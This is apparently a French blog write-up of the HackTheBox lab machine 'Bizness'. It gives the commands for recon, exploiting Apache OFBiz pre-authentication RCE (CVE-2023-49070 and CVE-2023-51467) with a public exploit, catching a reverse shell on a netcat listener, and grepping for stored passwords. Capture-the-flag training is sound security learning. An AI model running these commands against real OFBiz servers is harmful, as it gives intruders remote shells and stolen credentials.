Retour au blog
HackTheBox CVE Apache OFBiz Reverse Shell

HTB - Bizness

Exploitation d'Apache OFBiz via CVE-2023-49070 et CVE-2023-51467, reverse shell et récupération de credentials.

2024-01-15 Medium HackTheBox

Reconnaissance

echo "RHOST bizness.htb" >> /etc/hosts
nmap -p- --open IP -sV -v

Ports ouverts :

  • 22/tcp — SSH OpenSSH 8.4p1 Debian
  • 80/tcp — HTTP nginx 1.18.0
  • 443/tcp — HTTPS nginx 1.18.0
  • 46027/tcp — tcpwrapped

Enumération Web

ffuf -w wordlists/dicc.txt -u https://bizness.htb/FUZZ -mc 200

Résultats intéressants :

  • control/ — Panneau de contrôle
  • control/login — Page de login
  • solr/admin/ — Interface Solr Admin
  • solr/admin/file/?file=solrconfig.xml

Exploitation — CVE-2023-49070 & CVE-2023-51467

Apache OFBiz est vulnérable à une pré-authentification RCE.

git clone https://github.com/mickdec/Exploit-CVE-2023-49070-and-CVE-2023-51467-Apache-OFBiz

nc -nlvp 4444

python3 ofbiz_exploit.py https://bizness.htb/ shell LHOST:4444

Post-exploitation

python3 -c 'import pty;pty.spawn("/bin/bash")'

cat /opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml

Recherche de credentials

grep -irE '(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+' *
grep --color=auto -rnw -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null